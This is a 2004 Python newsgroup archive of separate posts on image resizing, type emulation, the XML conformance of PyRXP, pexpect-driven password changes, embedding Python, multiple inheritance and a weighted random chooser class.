"Ingo Linkweiler" <i.linkweiler at web.de> a ?crit dans le message de
news:c05dj3$q37$04$1 at news.t-online.com...
> Hello,
>
> I am looking for a 100% python lib/script which can load a jpg image,
> detect its size, resize and save it as new file.
>
> I have found some tools (like PIL), but all of them use ImageMagic or
> external dlls, which can not be used on my web server.
>
> I hope you can help me.
>
> Ingo
>

Have a look at how Zope detects JPGs and gets their size, in the
.../lib/python/OFS/File.py (Image class) in a 100% core Python way.
Unfortunately resizing a JPEG in pure python is something that nobody does
because resizing a bitmap image (in whatever format) in pure Python would be
very slow.

HTH

--
Gilles




From feb04.20.netman at spamgourmet.com  Sat Feb 28 14:45:14 2004
From: feb04.20.netman at spamgourmet.com (Chris)
Date: Sat, 28 Feb 2004 19:45:14 GMT
Subject: Type emulation issues with new style classes
References: <C0%%b.4538$qX5.249@nwrdny03.gnilink.net>
	<La50c.431948$na.1038396@attbi_s04>
Message-ID: <ed60c.6276$qX5.4295@nwrdny03.gnilink.net>

I'm looking for a way to do this without explicity definining every
emulation method, i.e. (__str__, __lt__, __le__, __eq__, __ne__, __gt__,
__ge__, __len__, __getitem__, __add__, __sub__, __mul__, __floordiv__,
__mod__, __divmod__, __pow__, __lshift__, ... ad nausuem).  Plus, there's a
few this isn't going to work for several of the the arithmetic operators,
such as when I want to have __add__ undefined so Python will attpemt
__radd__.  For example:

class Y:
    value = 42
    def __getattr__(self, name):
        if name == '__coerce__':
            raise AttributeError
        if name == '__add__':
            raise AttributeError
        if name == '__radd__':
            return lambda other: self.value + other.value

>>> y1, y2 = Y(), Y()
>>> print int(y1)       #This works
42
>>> print y1 + y2       #This works too
84

class Z(object):
    value = 42
    def __getattr__(self, name):
        if name == '__add__':
            raise AttributeError
        if name == '__radd__':
            return lambda other: Z.value + Z.value
        if name == '__int__':
            return lambda: self.value
    def __int__(self):
        return self.__getattr__('__int__')()
    def __add__(self, other):
        return self.__getattr__('__add__')()
    def __radd__(self, other):
        return self.__getattr__('__radd__')()


>>> z1, z2 = Z(), Z()
>>> # This following will work now, after explicitly
>>> # adding __int__ to the namespace of Z, which I'm
>>> # trying to avoid.
>>> print int(z1)
42
>>> print y1 + y2  # This bombs
TypeError: 'NoneType' object is not callable

"Rainer Deyke" wrote:
> Chris wrote:
> > class Z(object):
> >     value = 42
> >     def __hasattr__(self, name):
> >         if name == '__int__':
> >             return True
> >     def __getattr__(self, name):
> >         if name == '__int__':
> >             return lambda: self.value
>       def __int__(self):
>         return self.__getattr__('__int__')()
>
>
> -- 
> Rainer Deyke - rainerd at eldwood.com - http://eldwood.com
>
>




From uche at ogbuji.net  Thu Feb 12 09:29:19 2004
From: uche at ogbuji.net (Uche Ogbuji)
Date: 12 Feb 2004 06:29:19 -0800
Subject: An XML parser is an XML parser.  Period.
References: <mailman.1428.1076438817.12720.python-list@python.org>
	<402931E4.C1E50E92@engcorp.com> <c0beqb$2uv$00$1@news.t-online.com>
	<40294322.7AF2C6D7@engcorp.com> <c0bh63$jp2$05$1@news.t-online.com>
	<40294D36.B0AEE3C4@engcorp.com> <c0do15$tge$02$1@news.t-online.com>
	<402A69C2.FC8DABA@engcorp.com> <402A84FF.42CCB137@hotmail.com>
	<402A87FD.5879C6DC@engcorp.com>
Message-ID: <d116fbae.0402120629.330062bb@posting.google.com>

Peter Hansen:

> Hmm... makes me want to check their web site, to see what this is really
> about:
> 
> '''RXP is a very fast validating XML parser written by Richard Tobin of 
> the University of Edinburgh. It complies fully with the W3C test suites 
> (although we have compiled it without Unicode support for the time being). 
> We would like to thank Richard Tobin and Henry Thompson of the Language 
> Technology Group for making this code available to the world.
> '''
> 
> Seems pretty self-explanatory to me.  Might even be why, when I downloaded
> and tried to use it (and got good results) a year or two ago, I had no
> qualms about using it.  Clearly stated, and to the point, except that one
> is left to make the small connection between "compiled without Unicode
> support" and "doesn't handle character entities".  (Or is it that it 
> handles character entities, but not those beyond 127?  Probably moot.)
> 
> Doesn't this imply that anyone, at any time, could choose to recompile
> *with* Unicode support, which is presumably _in place_ but just optionally
> left out of the standard distribution?
> 
> So it's neither a bug, nor a design decision, but a packaging choice.
> 
> I think I'm back to saying that "not an XML parser!!!!" is a bit of an
> unfair reaction, given how open they are about the situation.

*sigh*.  I don't know how many more times and ways I can say this.  On
more time and I'm done unless a new, salient point comes up.

There *is* a packaging of PyRXP that is XML compliant.  It's called
PyRXPU.  It is precisely a compiling of PyRXP with Unicode support
plus output of Unicode objects in the resulting data structure (which
is my recommendation for XML processing).

So once more: AFAICT PyRXPU is an XML parser.  PyRXP is certainly not
an XML parser.  The substrate RXP is not an XML parser either when
compiled without Unicode support and although I respect Thompson and
Tobin as much as I do the PyRXP developers, they were really confusing
themselves and others when they said "It complies fully with the W3C
test suites (although we have compiled it without Unicode support for
the time being)."

Several early times when this issue was brought up the PyRXP
developers in effect said approximately: We need it to be fast, so we
won't be doing anything to make it conformant because we now doing so
would slow it down.  This is a pretty poisonous attitude when claimig
to support a standard, and what makes this even worse is that the
PyRXP Web page starts out saying:

"...PyRXP...the fastest validating XML parser available for Python,
and quite possibly anywhere :-)."

And then goes on to justify that statement with a "benchmark" of PyRXP
against other XML parsers without mentioning the inconvenient fact
that PyRXP is *not* an XML parser, and that building it so that it is
would drop it in the benchmarks somewhat.  (Not that I know who should
really care because unless you're using 4DOM or minidom all the
options are in the same order of magnitude: if you want to wring ut
the last odd drop of CPU--and you probably don't need to--then you
should be using neither XML nor Python).

Are you seriously telling me that in the face of all this, my
criticism, strongly worded as it is, is unfair?

My main aim here is to make it well known that PyRXP is not an XML
parser.  It won't trouble me if people continue to use it as currently
packaged.  I just want to make sure they know they are not using what
they may think they are.

Once again: PyRXPU (contributed, tellingly, by someone outside the
PyRXP core team) is the right build of PyRXP if you need an XML
parser.  The bad news is that it's only available from ReportLab CVS. 
My article is now out and includes details for obtaining PyRXPU:

http://www.xml.com/pub/a/2004/02/11/py-xml.html

--Uche
http://uche.ogbuji.net


From aamccl at yahoo.com  Fri Feb 27 22:49:39 2004
From: aamccl at yahoo.com (Art McClure)
Date: 27 Feb 2004 19:49:39 -0800
Subject: cls
Message-ID: <7adc6872.0402271949.3645d9c@posting.google.com>

May I ask a dumb question? I am working with Python 2.3 IDLE. I want
to completely clear the screen except for the ">>>", of course. What
do I use? I have tried a number of suggestions, but they don't do the
job.


From theller at python.net  Wed Feb 18 04:19:28 2004
From: theller at python.net (Thomas Heller)
Date: Wed, 18 Feb 2004 10:19:28 +0100
Subject: Installation problem on Windows 98
References: <c93e5fda.0402160226.6889923b@posting.google.com>
	<87y8r2l73x.fsf@hydra.localdomain> <4qtqi1wt.fsf@python.net>
	<j1kYb.63374$Wa.7645@news-server.bigpond.net.au>
	<wu6mglcx.fsf@python.net>
	<htFYb.64661$Wa.26252@news-server.bigpond.net.au>
Message-ID: <ad3gg2xr.fsf@python.net>

"Neil Hodgson" <nhodgson at bigpond.net.au> writes:

> Thomas Heller:
>> "Neil Hodgson" <nhodgson at bigpond.net.au> writes:
>> >    So if it is being redirected or captured by another application, such
> as,
>> > say, SciTE, then an extra console window will open up?
>>
>> No, that is not the intent.  Can this case be detected somehow?
>
>    Probably not accurately. Could add a command line option to pythonw
> indicating that it should / should not open a console as required to display
> output.

After thinking it over: why is pythonW.exe used, and not python.exe?
Doesn't xemacs, for example, also use python.exe?

Thomas


From apardon at forel.vub.ac.be  Fri Feb 27 04:29:13 2004
From: apardon at forel.vub.ac.be (Antoon Pardon)
Date: 27 Feb 2004 09:29:13 GMT
Subject: Some language proposals.
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
	<mailman.58.1077649530.8594.python-list@python.org>
	<tyfbrnno9e2.fsf@pcepsft001.cern.ch>
	<mailman.88.1077699734.8594.python-list@python.org>
	<tyf1xojnzwp.fsf@pcepsft001.cern.ch>
	<mailman.115.1077727957.8594.python-list@python.org>
Message-ID: <slrnc3u3f9.pob.apardon@trout.vub.ac.be>

Op 2004-02-25, Paul Prescod schreef <paul at prescod.net>:
> Jacek Generowicz wrote:
>
>> Paul Prescod <paul at prescod.net> writes:
>> 
>> 
>>>I disagree. Closures are rare in Python because Python is primarily an
>>>OOP language.
>> 
>> I disagree, Python is a multi-paradigm language ...
>
> In Python functions are objects but objects are not functions. In (e.g.) 
>   Scheme the opposite is true.
>
>> ... I fail to see how
>> this has any bearing on the use of closures ... all of which is
>> irrelevant to my original point, which was to note out that saying
>> "people don't use it much" is not a very convincing argument for not
>> fixing something that is broken ... because the very fact that it is
>> broken probably contributes to people not using it much.
>
> But the more important point is that people do not NEED it much. Guido 
> writes hundreds of lines of Python code per week. If he often ran into 
> situations where a mutable closure would make a big difference then he 
> would presumably find some way of doing it. The people who want this 
> seem most often to be people trying to import their coding styles from 
> another language.

I think this can be turned around. People who don't want this included
are people who want python to be used in a "pythonic" style.

My idea is that there is nothing wrong with a laguage that supports
different coding styles. Personnaly I switch styles according to
how view the solution to the problems I have to solve. Sometimes
I view such a solution in a very object oriented way, sometimes
I don't. So when I envision a particular solution, that is best
implemented in a particular style, why shouldn't I use that style
just because I program in python.

-- 
Antoon Pardon


From levites at lycos.co.kr  Thu Feb 19 08:57:40 2004
From: levites at lycos.co.kr (Minkyu Kim)
Date: 19 Feb 2004 05:57:40 -0800
Subject: Problems when destroy object which is referenced member objects
Message-ID: <a99ed18b.0402190557.51e501ed@posting.google.com>

Hi.
Please check this simple test code.

---------------------
class TestA: 
   def __init__(self): 
      print "init TestA" 
   def __del__(self): 
      print "del TestA" 
   def SetEvent(self, event): 
      self.event = event 

class TestB: 
   def __init__(self): 
      print "init TestB" 
      self.testA = TestA() 
      self.testA.SetEvent(self.Test) 
   def __del__(self): 
      print "del TestB" 
   def Test(self): 
      pass 

testB = TestB() 
del testB
---------------------

I want to run this code that destroy testB and testB's member object
testA. But no object destroy. I know testA increase testB's reference
count, but why wouldn't python decrease testB's reference count? Had I
do wrong something?


From sjf at autograf.pl  Fri Feb 27 11:14:27 2004
From: sjf at autograf.pl (..:: sjf ::..)
Date: Fri, 27 Feb 2004 17:14:27 +0100
Subject: Reading selected data from text files
References: <c1njho$adr$1@nemesis.news.tpi.pl> <wzk728inbx.fsf@Ordesa.local>
Message-ID: <c1nqdu$cb0$1@atlantis.news.tpi.pl>

U?ytkownik "Piet van Oostrum" <piet at cs.uu.nl> napisa? w wiadomo?ci
news:wzk728inbx.fsf at Ordesa.local...
> >>>>> "..:: sjf ::.." <sjf at autograf.pl> (SJF) wrote:
>
> SJF> Hello Pythoners!
> SJF> There are a lot of files containing data such as:
>
> SJF> file1:
> SJF> 0950 1550
>
> SJF> file22:
> SJF> 0952 1552
>
> SJF> file3:
> SJF> 1000 1020 1050 1130 1150 1200 1245 1600
>
> SJF> file4:
> SJF> 1002 1022 1052 1132 1152 1202 1247 1602
>
> SJF> file5:
> SJF> 1005 1025 1055 1135 1155 1205 1250 1605
>
> SJF> I want to read from them only that data which produce a following
> sequence SJF> of data:
> SJF> => 0950 0952 1000 1002 1005
> SJF> => 1555 1557 1600 1602 1605
>
> How do you get at these values, as 1555 and 1557 aren't in your input
> files?

ups...
of course it should be:
=> 0950 0952 1000 1002 1005
=> 1600 1602 1605


--
..:: sjf ::..
"Linux is like Wigwam. No gates, no windows... Apache inside ;-)"



From gb at tuebingen.mpg.de  Fri Feb 27 14:35:24 2004
From: gb at tuebingen.mpg.de (Goekhan Bakir)
Date: Fri, 27 Feb 2004 20:35:24 +0100
Subject: How to use plugins..
Message-ID: <000c01c3fd68$d866aea0$3428260a@tigris>

Hi!
This might be a newbie message but is there some example code to 
write a generic plugin manager? 

Particular problems:

1.)
Assume my package is installed on path x and has a subdirectory named
plugins.
If I import my package I want to scan automatically the plugin
directory.

2.) 
Plugins should follow a common interface,  is there a way to enforce
this?
(Actually I think this might be easy.)



Thanks for any help

gb






From aahz at pythoncraft.com  Fri Feb 13 10:26:04 2004
From: aahz at pythoncraft.com (Aahz)
Date: 13 Feb 2004 10:26:04 -0500
Subject: 6 Qustions about Python: Does it do GUI?  more...
References: <mailman.11.1076682913.31398.python-list@python.org>
Message-ID: <c0iqac$kgl$1@panix2.panix.com>

In article <mailman.11.1076682913.31398.python-list at python.org>,
Will <k4bda at yahoo.com> wrote:
>
>6 - Why another language? Easier than C or C++ or Visual C ?? More 
>powerful than Visual Basic or the competing Borland productg?? Why 
>Python?

The original intent was to create a language that borrowed ideas from
ABC and Pascal/Modula-3 while still being easy to hook to C libraries.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach


From p1fp4f at hotmail.com  Mon Feb 23 12:43:01 2004
From: p1fp4f at hotmail.com (Pif Paf)
Date: 23 Feb 2004 09:43:01 -0800
Subject: Wait for input, but only for a certain amount of time
Message-ID: <d32e694.0402230943.2b1fcd0@posting.google.com>

I have a process, and my process wants to wait for input but only for
a certain amount of time. The input might be coming from a Python file
object (created with popen) or a TCP socket. 

What I want is something like:

   s = getTimedInput(source, maxDelay)

where:
   source = the source of the input
   maxDelay = the maximum amount of time we're going to wait for input,
      in milliseconds. We wait this amount of time, or a shorter time if we 
      receive a "\n"(1) in the character stream
   s = a string containing the input that was received


(1): or whatever delimiter character we're using.

-- 
Pif Paf


From peter at engcorp.com  Wed Feb 11 14:54:05 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 11 Feb 2004 14:54:05 -0500
Subject: How to avoid "f.close" (no parens) bug?
References: <mailman.1474.1076517229.12720.python-list@python.org>
	<c0dvg2$165ub5$1@ID-139865.news.uni-berlin.de>
Message-ID: <402A885D.37BD46E@engcorp.com>

Dave Kuhlman wrote:
[snip]
>     myobject = MyClass()
>     test(myobject.some_method)
>     test(myobject.some_other_method)
> 
> In this example, we've used a method as a parameter.

Dave, the difference is that you are actually *using* the method
as a parameter, not just using it as an expression and throwing
away the result as in this case:

      myobject.some_method

-Peter


From jojoba12 at hotmail.com  Wed Feb 25 00:17:38 2004
From: jojoba12 at hotmail.com (jojoba)
Date: 24 Feb 2004 21:17:38 -0800
Subject: how to use pyobfuscate
Message-ID: <2e7523c1.0402242117.1ad7b60@posting.google.com>

hello all

quick question here

does anyone know how to use the recently released pyobfuscate (to
obfuscate python source).
Apologies, just novice programmer here?

am running xp
python 2.2

thank you to anyone who has any info
take care,
jojoba


From mark at mceahern.com  Sun Feb  1 10:27:01 2004
From: mark at mceahern.com (Mark McEahern)
Date: Sun, 01 Feb 2004 09:27:01 -0600
Subject: specify types in method calls
In-Reply-To: <bvj3bo$4ib$1@news.rz.uni-karlsruhe.de>
References: <bvj3bo$4ib$1@news.rz.uni-karlsruhe.de>
Message-ID: <401D1AC5.8010509@mceahern.com>

Uwe Mayer wrote:

>Hi,
>
>sometimes I'd like to be able to specify that a parameter to a method call
>should be of a specific instance. I can do that using the isinstance()
>buildin in the body of the method.
>

The Pythonic way seems to prefer a polymorphic approach; that is, rather 
than focus on what type things are, the real question is whether they 
behave in an expected way.  Here's a reference to PyProtocols and PEP 246:

  http://peak.telecommunity.com/PyProtocols.html

// m



From uche at ogbuji.net  Sat Feb 28 01:59:58 2004
From: uche at ogbuji.net (Uche Ogbuji)
Date: 27 Feb 2004 22:59:58 -0800
Subject: PyXML, Sax, error in processing external entity reference
References: <c1j2q8$6pb$1$8300dec7@news.demon.co.uk>
Message-ID: <d116fbae.0402272259.3ef9ab61@posting.google.com>

David Dorward <dorward at yahoo.com> wrote in message news:<c1j2q8$6pb$1$8300dec7 at news.demon.co.uk>...
> I'm attempting to read an XHTML 1.1 file[1], perform some DOM manipulation,
> then write the results to a different file.
> 
> I've found myself rather stuck at the first hurdle.
> 
> I have the following:
> 
> from xml.dom.ext.reader import Sax2
> reader = Sax2.Reader()
> f = open('dorward.me.uk/sitemap.html', 'r')
> doc = reader.fromStream(f)
> 
> (dorward.me.uk/sitemap.html being a local copy of
> http://dorward.me.uk/sitemap.html)
> 
> ... which outputs the following:
> 
> Traceback (most recent call last):
>   File "x.py", line 4, in ?
>     doc = reader.fromStream(f)
>   File "/usr/lib/python2.3/site-packages/_xmlplus/dom/ext/reader/Sax2.py",
> line 372, in fromStream
>     self.parser.parse(s)
>   File "/usr/lib/python2.3/site-packages/_xmlplus/sax/expatreader.py", line
> 109, in parse
>     xmlreader.IncrementalParser.parse(self, source)
>   File "/usr/lib/python2.3/site-packages/_xmlplus/sax/xmlreader.py", line
> 123, in parse
>     self.feed(buffer)
>   File "/usr/lib/python2.3/site-packages/_xmlplus/sax/expatreader.py", line
> 220, in feed
>     self._err_handler.fatalError(exc)
>   File "/usr/lib/python2.3/site-packages/_xmlplus/dom/ext/reader/Sax2.py",
> line 340, in fatalError
>     raise exception
> xml.sax._exceptions.SAXParseException:
> http://www.w3.org/TR/xhtml-modularization/DTD/xhtml-notations-1.mod:115:0:
> error in processing external entity reference
> 
> I'm not sure where I should proceed from here. Is it a bug in my code? In
> PyXML? In the DTD itself? What should I do next?

The bug is with the W3C.  Through a chain of parameter entity refs, it
http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd references
http://www.w3.org/TR/xhtml-modularization/DTD/xhtml11-model-1.mod,
which gives 404 (and yes XML heads, it is in an INCLUDE section so the
URI must be traversed unless there's a resoltion through pubID).

I'm actually rather amazed at such carelessness by the W3C, but I
don't have time to dig further to see if I can figure out how things
got broken.

I can tell you that you can use minidom or OK with this because it
does not even read the external DTD subset:

>>> from xml.dom import minidom
>>> doc = minidom.parse('sitemap.html')
>>> doc
<xml.dom.minidom.Document instance at 0x400635ec>
>>>

Also, 4Suite's cDomlette makes it easy for you to avoid the DTD
problem:

>>> from Ft.Xml.Domlette import NoExtDtdReader
>>> doc = NoExtDtdReader.parseUri("file:sitemap.html")
>>> doc
<cDocument at 0x0x403ab42c>
>>>

http://4suite.org
http://uche.ogbuji.net/tech/akara/nodes/2003-01-01/domlettes

Good luck.

--Uche
http://uche.ogbuji.net


From pyabo at novamens.com  Fri Feb 20 10:09:42 2004
From: pyabo at novamens.com (Pablo Yabo)
Date: Fri, 20 Feb 2004 12:09:42 -0300
Subject: Py_Finalize
References: <028201c3f7b8$5e312cb0$2601a8c0@hq.novamens.com>
	<4036135D.6080003@ghaering.de>
Message-ID: <02a401c3f7c3$914e0a40$2601a8c0@hq.novamens.com>

I do that and the memory always increase.
If I comment the module loads the memory stay stable, but if I load the
modules the memory increases and never return to the previous level.

----- Original Message ----- 
From: "Gerhard H?ring" <gh at ghaering.de>
To: <python-list at python.org>
Sent: Friday, February 20, 2004 11:02 AM
Subject: Re: Py_Finalize


> Pablo Yabo wrote:
> > Hi,
> > I embeded Python in a C++ application to support some scripts. I start
it
> > using Py_Initialize() and after using running the scripts I call
> > Py_Finalize(). The problem that I experienced is that the memory usage
of
> > the process doesn't decrease after the Py_Finalize().
> > If I call again Py_Initialize() and then load some modules, the memory
usage
> > increase, but it never decrease when calling Py_Finalize().
> > How can I do a complete cleanup of the python heap?
>
> Chances are everything is working fine, but your C library isn't returning
freed
> memory to the operating system.
>
> Try runnnig Py_Initialize()/your scripts/Py_Finalize() in a loop. If
memory usage
> doesn't increase above a certain maximum, then you don't have any leaks.
>
> -- Gerhard
>
> -- 
> http://mail.python.org/mailman/listinfo/python-list





From dietrich at zdome.net  Mon Feb  2 22:24:18 2004
From: dietrich at zdome.net (Dietrich Epp)
Date: Mon, 2 Feb 2004 19:24:18 -0800
Subject: advice on programming style: is multiple inheritance bad?
In-Reply-To: <bvl0m8$tb3$1@lust.ihug.co.nz>
References: <bvjhkv$ss4$1@news.rz.uni-karlsruhe.de>
	<bvl0m8$tb3$1@lust.ihug.co.nz>
Message-ID: <73850E30-55F8-11D8-90A2-0003934ACDEC@zdome.net>


On Feb 2, 2004, at 12:06 AM, Gary Stephenson wrote:

> Fwiw, I am both a human, and a customer of my bank.  My computer is 
> both an
> "electrical_device" and a "depreciable-asset".  It is completely 
> natural in
> the real world for objects to have multiple "is-a" relationships with
> various other objects.   Why then, should we not use multiple 
> inheritance
> when modelling such relationships?

Because we (or at least I) don't program that way.

The problem is context.  Programming usually involves very specific 
contexts, such as accounting, image processing, or networking.  Classes 
in those contexts can be very narrowly defined.

Humans don't work in single contexts.  We understand that a pencil is a 
kind of writing instrument, but it is also a kind of weapon.  It 
depends on how you are holding it.  Chairs are usually kinds of 
furniture, but some chairs belong more in the category of art.  To make 
things worse [for computers], humans sometimes use terms that logically 
contradict.  Humans are very good at contexts.

Object-oriented programming is not meant to replicate natural language. 
  It's just a bridge between the way people think and the way computers 
process data.  Humans make lots of complicated "is a" relationships, 
but it's not particularly useful when programming.  Another way to 
think of inheritance is a "has functionality of" relationships."  Let's 
say I have some data I want dynamically loaded from XML files and a 
MySQL database.

class DataLoader:
     pass

class XMLDataLoader(DataLoader):
     def Load(self, what):
         ...

class SQLDataLoader(DataLoader):
     def Load(self, what):
         ...

Since DataLoader has no functionality, I would delete it.

> One major reason why multiple inheritance has such a bad name can be 
> sheeted
> back to the brain-dead way in which C++ implements it.  The other main
> reason is that inheritance itself, single or multiple, implementation 
> or
> interface, is _way_ overrated as a code structuring technique.  This is
> probably due to it not even being consistently defined - it seems to 
> mean
> different things to different people at different times (depending on 
> which
> language they're currently working with).

I agree.  In addition to the rampant poor software design, programmers 
use object-oriented programming to hammer their screws into the wall, 
so to speak.  However, I see OOP as fundamentally a good thing.  It 
tends to make code simpler, more obvious, and reduces duplication.  I 
also think that "is a" and "does" relationships are a good way to learn 
OOP.

> IMHO, inheritance only works robustly in the face of change if you can
> guarantee that the potential instances of your (sub)classes form a 
> strict
> proper subset (mathematically speaking) of the potential instances of 
> their
> ancestor classes.  afaik, which is not terribly far really
> ;-) , there is no OO language on earth that can _guarantee_ this 
> subclass ==
> subset relationship for you - you have to arrange it yourself 
> (somehow).

This paragraph really confuses me.  So if I have A, and B (subclass of 
A), then the instances of B must be a subset of A?  Isn't this a 
tautology?  I assume that you don't really mean 'proper' subset, as 
that implies no abstract classes exist.

> Other folk have also suggested that in order to properly achieve the 
> above,
> you need to follow the rule: "only abstract classes can be subclassed".
> That is, if you want to create class B as a subclass of class A, and A 
> is
> not already an abstract class, you should create a third class A', 
> which
> _is_ an abstract class, and have both class A and class B inherit from 
> that.
> For a far better explanation of this and many other related issues I 
> refer
> the interested reader to:
>
>      http://okmij.org/ftp/Computation/Subtyping/Trouble.html
>
> my $A0.0148,

In C++, subclass implies subtype.  But in Python, we don't really use 
types in our programming.  Only the functionality matters, which gives 
it its agility IMHO.

Last and most certainly least (look at top),

class Me(Human, DoesPatronizeBank):
     def __init__(self):
         self.deposit(Dollars(1e12))
     def do_stuff(self):
         if self.hungry
             self.eat(self.find_food(select(Thai, Mexican, Italian))

class Computer(ElectricalDevice):
     def __init__(self):
         self.tech_support_history = []

class Asset:
     def __init__(self, obj):
         self.obj = obj




From asunil79 at yahoo.com  Mon Feb 16 09:52:37 2004
From: asunil79 at yahoo.com (sunil)
Date: 16 Feb 2004 06:52:37 -0800
Subject: problem installing VTK
Message-ID: <410796a3.0402160652.41c57457@posting.google.com>

Hi!,

I am a newbie who is very much interested in learning to use the VTK.
I downloaded the required files from CMake, VTK website and tried
instaling it, but it is giving me a lot of errors (not with CMake but
with VTK). Could you please tell me the most simplest way to insatll
VTK........any links to websites containg this info will be good.

Thank you

Sunny


From peter at engcorp.com  Thu Feb 26 09:31:02 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 26 Feb 2004 09:31:02 -0500
Subject: Size limit on compiling?
References: <Ijb%b.75$a6.33911@newshog.newsread.com>
Message-ID: <403E0326.7FD9EDA8@engcorp.com>

Leif K-Brooks wrote:
> 
> I have a Python file of 1.2MB (it's a static database, not code, so it
> really does have to be that big). It doesn't seem to get compiled when
> imported (there's no .pyc file created), so importing it takes a few
> seconds which I would really like to avoid. Is Python not compiling it
> because of the large size? Is it because the whole file is on one really
> long line? How can I fix this?

If it's the main file, it won't get compiled anyway.  Only files
that are imported are compiled.  In any case, see Aahz' answer for the
best approach.

-Peter


From paul at prescod.net  Wed Feb 25 21:32:48 2004
From: paul at prescod.net (Paul Prescod)
Date: Wed, 25 Feb 2004 18:32:48 -0800
Subject: Class == factory function considered harmful? (Re: Thoughts
 about Python)
In-Reply-To: <c1h59m$1ihsah$1@ID-169208.news.uni-berlin.de>
References: <15c2d03b.0402240311.395f5382@posting.google.com>	<Xns9499854B482AEduncanrcpcouk@127.0.0.1>	<15c2d03b.0402241237.708cb4e8@posting.google.com>	<c1gvl4$1j0arb$1@ID-169208.news.uni-berlin.de>	<mailman.78.1077676517.8594.python-list@python.org>
	<c1h59m$1ihsah$1@ID-169208.news.uni-berlin.de>
Message-ID: <403D5AD0.2030801@prescod.net>

Greg Ewing (using news.cis.dfn.de) wrote:

>...
> 
> Now, if you change the implementation so that Foo is
> no longer a class, code which subclasses Foo will break --
> there's no avoiding that. But code which only instantiates,
> using foo(), will keep working.

Okay, but is this ever a serious problem? Is changing classes into 
functions and vice versa actually a common enough problem to worry about?

  Paul Prescod





From bart_nessux at hotmail.com  Tue Feb 24 16:07:14 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Tue, 24 Feb 2004 16:07:14 -0500
Subject: still trying to pass strings to the OS
In-Reply-To: <103lgdgms8k2v1d@corp.supernews.com>
References: <c1d5eg$gij$1@solaris.cc.vt.edu>
	<c1dboe$k3r$00$1@news.t-online.com> <403A4B77.4090703@hotmail.com>
	<103lgdgms8k2v1d@corp.supernews.com>
Message-ID: <403BBD02.10701@hotmail.com>

Cameron Laird wrote:
> In article <403A4B77.4090703 at hotmail.com>,
> Bart Nessux  <bart_nessux at hotmail.com> wrote:
> 
>>Diez B. Roggisch wrote:
>>
>>>Read this:
>>>
>>>http://pexpect.sourceforge.net/#faq
>>>
>>>Then you most probably want to use it :)
>>>
>>
>>Thank you. That's exactly what I need.
>>
> 
> 
> If you can get your hands on a copy of the February 2004 issue of
> *Sys Admin* Magazine <URL: http://www.samag.com/articles/2004/0402/ >,
> you'll find a bit of encouragement there to pursue Pexpect.

After downloading and installing pexpect... this works for me:

import pexpect

password = 'password'
child = pexpect.spawn('/usr/bin/passwd root')
child.expect_exact('New password:')
child.sendline(password)
child.expect_exact('Retype new password:')
child.sendline(password)

Does this look safe? The documentation on the module was lacking. Seems 
like I should close the process that was spawned. Any tips?



From peter at engcorp.com  Mon Feb 23 11:04:29 2004
From: peter at engcorp.com (Peter Hansen)
Date: Mon, 23 Feb 2004 11:04:29 -0500
Subject: TCP servers in Python - two processes want to use same port
References: <d32e694.0402230800.1f98c5f1@posting.google.com>
Message-ID: <403A248D.47B51ECE@engcorp.com>

Pif Paf wrote:
> 
> The child process is a very simple program using SimpleHTTPServer. The
> problem is when I run my test harness, break it with Ctrl-C then try to
> run it again. The http server complains that it cannot bind to the socket,
> as the address is already in use.

I believe you should be looking at SO_REUSE_ADDR as a means of rebinding
to a socket that was just used recently and may still be active at the 
OS level, even if the app that used it has exited.

As for the specific question about ways to kill the app that is listening
on a socket already: I think if you don't know which app it is, there
isn't a clean way to find out.  If you do know, though, as your test 
harness probably does, can't it just "kill -9" the thing?

-Peter


From python-list at hazen.net  Mon Feb  2 17:50:41 2004
From: python-list at hazen.net (John Hazen)
Date: Mon, 2 Feb 2004 14:50:41 -0800
Subject: Smarter way of doing this?
Message-ID: <20040202225041.GB17499@gate2.hazen.net>

* Max M <maxm at mxm.dk> [2004-02-02 05:15]:
> I have written this function, "choose_by_probability()"
> 
> It takes a list of probabilities in the range 0.00-1.00, and it must 
> then randomly select one of the probabilities and return it's index.
> 
> The idea is to have two lists, one with a value, and another with a 
> probability. The value then gets randomly selected from its probability.
> 
> values = ['item 1','item 2','item 3',]
> probabilities = [0.66, 0.33, 0.16]
> 
> print values[choose_by_probability(probabilities)]
> >>'item 1'
> 
> etc...
> 
> I just wondered if anybody has a better way of doing it, as this seems 
> nastily squared to me?

Well, since you're worried about the "nastily squared" aspect, and since
most (of my) applications for this only need to do the setup once, and
choose randomly multiple times, my solution uses a class to do this.
This takes into account someone else's suggestion of associating the
data and the probabilities directly, rather than worrying about indexes.

Here's my go at it:

----------chooser.py-----------
import random

class Item:
    def __init__(self,value,weight):
        self.value = value
        self.weight = weight
        self.probability = 0.0

class ProbabilityChooser:
    def __init__(self,items=None):
        """optional 'items' parameter is a sequence of 2-tuples.
           The first sub-item is the value, the second is the weight."""
        self.total_weight = 0.0
        self.items = []
        if items is not None:
            for (value,weight) in items:
                self.add_item(value,weight,recompute=False)
            self._compute_cumulative_probabilities()

    def _compute_cumulative_probabilities(self):
        """ use weights to pre-compute probabilities for all items """
        cumul = 0.0
        for item in self.items:
            cumul += item.weight / self.total_weight
            item.probability = cumul
            
    def add_item(self,value,weight=1,recompute=True):
        self.items.append(Item(value,weight))
        self.total_weight += weight
        if recompute:
            self._compute_cumulative_probabilities()

    def probabilities(self):
        return [(i.value,i.probability) for i in self.items]

    def choose(self):
        rand = random.random()
        for item in self.items:
            if rand <= item.probability:
                return item.value
----------/chooser.py-----------

And here's how I'd use it:

>>> import chooser
>>> values = ['item 1','item 2','item 3',]
>>> probabilities = [0.66, 0.33, 0.16]
>>> c = chooser.ProbabilityChooser(zip(values,probabilities))
>>> c.probabilities()
[('item 1', 0.57391304347826089), ('item 2', 0.86086956521739133),
('item 3', 1.0)]
>>> c.choose()
'item 1'
>>> c.choose()
'item 1'
>>> c.choose()
'item 2'
>>> c.choose()
'item 2'
>>> c.choose()
'item 1'
>>> c.choose()
'item 1'
>>> c.choose()
'item 3'
>>> c.choose()
'item 1'
>>> c.add_item('item 4',1.0)
>>> c.choose()
'item 4'
>>> c.choose()
'item 1'
>>> [c.choose() for i in range(30)]
